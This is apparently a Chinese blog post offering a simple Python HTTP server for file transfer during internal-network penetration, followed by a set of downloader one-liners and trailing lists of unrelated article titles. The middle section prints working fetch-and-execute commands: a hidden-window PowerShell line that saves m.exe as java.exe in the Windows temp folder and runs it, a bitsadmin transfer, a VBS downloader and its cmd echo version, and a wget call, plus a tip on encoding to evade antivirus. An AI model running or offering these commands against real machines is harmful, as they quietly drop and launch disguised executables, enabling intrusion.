Python简易http服务器源码

import SimpleHTTPServer
import SocketServer
import sys
PORT = 80
if len(sys.argv) != 2:
    print("use: web.exe port")
else:
    PORT = int(sys.argv[1])
    Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer(("", PORT), Handler)
    print "SimpleHTTPServer is ", PORT
    print "by k8gege"
    httpd.serve_forever()

用法:

python web.py 端口

web.exe 端口

访问: http://IP:端口

内网渗透

机器A:可上网

机器B:不联网

0x001 机器A文件传到机器B
使用方法,自行打包成可执行文件传到机器部署Web

然后在机器B上通过wget、VBS、Powershell等命令下载文件到机器B

0x002 机器B文件传到机器A

当然也可以反过来,将此程序上传到不可上网机器部部署web

再通过机器A下载机器B文件

0x003 速度

WGET内网下载速度高达70M/S

 下载命令

下载者(隐藏窗口)
powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://192.168.85.131/m.exe','c:\windows\temp\java.exe');Start-Process c:\windows\temp\java.exe"
系统自带bitsadmin下载文件(python简易WEB服务器不太友好,可能会报错)

bitsadmin /transfer n http://192.10.1.8/img/wget.exe C:\WINDOWS\Temp\wget.exe
VBS下载者
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.25.128:13272/m.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
afile = "java.exe"
aGet.SaveToFile afile,2
Shell.Run (afile)

如果仅有CMD权限,可用K8飞刀将VBS转成一行命令执行

如果有杀软也可通过随机ASCII码加密进行免杀(个别杀软不行了)

CMD命令-VBS下载者
del K8.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >> K8.vbs&&echo Set Shell = CreateObject("Wscript.Shell") >> K8.vbs&&echo Post.Open "GET","http://192.168.25.128:13272/m.exe",0 >> K8.vbs&&echo Post.Send() >> K8.vbs&&echo Set aGet = CreateObject("ADODB.Stream") >> K8.vbs&&echo aGet.Mode = 3 >> K8.vbs&&echo aGet.Type = 1 >> K8.vbs&&echo aGet.Open() >> K8.vbs&&echo aGet.Write(Post.responseBody) >> K8.vbs&&echo afile = "java.exe" >> K8.vbs&&echo aGet.SaveToFile afile,2 >> K8.vbs&&echo Shell.Run (afile) >> K8.vbs&&cscript K8.vbs&&del K8.vbs

以上命令可能不太方便,或者传输速度较慢,特别是侈传大文件的时候就知道了(不支持端口续传你就得重新下载)

我们可以通过以上方法将Wget先下载过去,再通过Wget下载文件

Wget下载(Linux自带,win需传过去)
wget -P /tmp http://39.109.6.128/cmd.txt

终极方法(cmd直接输出文件)

工具k8exe2bat:  https://www.cnblogs.com/k8gege/p/10585903.html

将任意文件转成BAT,通过Bat直接输出文件到目标,在条件非常奇葩的情况下可使用。

因为转出来的命令比较多,仅能执行CMD时会比较麻烦,如果可上传BAT执行还好

PS: 很简单但很多人不懂,特别是客户或新人,遇到不懂的直接发文章给他(可能工具还得编译好的)

  当然如果内网自带WEB或其它可用文件传输工具,再自已弄个web进行文件传输就是SB了

下载: https://github.com/k8gege/K8tools/blob/master/web.py

下载:https://github.com/k8gege/K8tools/blob/master/web.exe无Python环境可直接下载exe

[源码]Python简易http服务器(内网渗透大文件传输含下载命令)的更多相关文章

  1. Cobalt strike与内网渗透

    cobalt strike的用法参照我之前的博客: https://www.cnblogs.com/vege/p/12743274.html 这里只演示上线之后的操作. Socks代理 开启socks ...

  2. [源码解析] 机器学习参数服务器ps-lite (1) ----- PostOffice

    [源码解析] 机器学习参数服务器ps-lite 之(1) ----- PostOffice 目录 [源码解析] 机器学习参数服务器ps-lite 之(1) ----- PostOffice 0x00 ...

  3. [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构

    [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构 目录 [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构 0x00 摘要 0x01使用 1.1 配置 ...

  4. [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van

    [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van 目录 [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van 0x00 摘要 0x01 功能 ...

  5. [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer

    [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer 目录 [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer 0x0 ...

  6. [源码解析] 机器学习参数服务器 Paracel (2)--------SSP控制协议实现

    [源码解析] 机器学习参数服务器 Paracel (2)-----SSP实现 目录 [源码解析] 机器学习参数服务器 Paracel (2)-----SSP实现 0x00 摘要 0x01 背景知识 1 ...

  7. [源码解析] 机器学习参数服务器Paracel (3)------数据处理

    [源码解析] 机器学习参数服务器Paracel (3)------数据处理 目录 [源码解析] 机器学习参数服务器Paracel (3)------数据处理 0x00 摘要 0x01 切分需要 1.1 ...

  8. MyBatis源码分析(5)——内置DataSource实现

    @(MyBatis)[DataSource] MyBatis源码分析(5)--内置DataSource实现 MyBatis内置了两个DataSource的实现:UnpooledDataSource,该 ...

  9. php+redis实现多台服务器内网存储session并读取

    大型网站由于大并发的问题会导致系统出现诡异的崩溃性问题这着实让人很是蛋疼,首先考虑的就是负载均衡服务器来处理这个,当然数据库的性能也是非常非常重要的,今天就说下在负载均衡情况下对于session这个问 ...

随机推荐

  1. 一年web网站测试总结

    1. 页面链接检查 每一个链接是否都有对应的页面,并且页面之间切换正确.可以使用一些工具,如LinkBotPro.File-AIDCS.HTML Link Validater.Xenu等工具.Link ...

  2. 《修炼之道:.NET开发要点精讲》读书笔记(四)

    委托的作用:1)它允许把方法作为参数,传递给其它的模块:2)它允许我们同时调用多个具有相同签名的方法:3)它允许我们异步调用任何方法. “方法签名”指方法的参数个数.参数类型以及返回值等,具有相同签名 ...

  3. SringMVC概述

    Spring为展现层提供的基于MVC设计理念的优秀的WEB框架,是目前最主流的MVC框架之一. Spring3.0后全面超越Struts2.0,成为最优秀的MVC框架,SpringMVC通过一套注解, ...

  4. 【转】async & await 的前世今生(Updated)

    async 和 await 出现在C# 5.0之后,给并行编程带来了不少的方便,特别是当在MVC中的Action也变成async之后,有点开始什么都是async的味道了.但是这也给我们编程埋下了一些隐 ...

  5. redis安装及生产采用的启动方式和常用连接客户端

    1. 下载 wget命令 wget http://download.redis.io/releases/redis-5.0.2.tar.gz 2. 解压与安装 解压 tar xzf redis-5.0 ...

  6. Selenium+PyCharm环境搭建

    一.首先安装python并配置好环境变量 二.安装selenium 安装文件夹在安装的python文件夹下,例:D:\Program\python\Lib\site-packages\selenium ...

  7. flink 读取kafka 数据,partition分配

    每个并发有个编号,只会读取kafka partition  % 总并发数 == 编号 的分区   如: 6 分区, 4个并发 分区: p0 p1 p2 p3 p4 p5 并发: 0 1 2 3    ...

  8. 关于浏览器cookie的小知识

    浏览器对于总的cookie数量是没有限制的,但是对于每个域名的cookie数量是有限制的. 一,不同的浏览器,对于一个域名的cookie数量限制上限是不同的: 1,IE6以下版本,最多20个.IE7以 ...

  9. [转]dd命令、cp命令详解+dd命令、cp命令对比 ---delong

    出处:http://blog.csdn.net/sun_app/article/details/18263299 1.dd命令详解 1)中文man手册dd的解释 NAME       dd - 转换和 ...

  10. struts2参数传递总结

    需求1:登录页面填写表单,提交后进入action,action中能够获取填入的内容.[宏观分类:页面->action] 需求2:登录action从数据库校验完毕后,跳转至主页,主页显示当前登录的 ...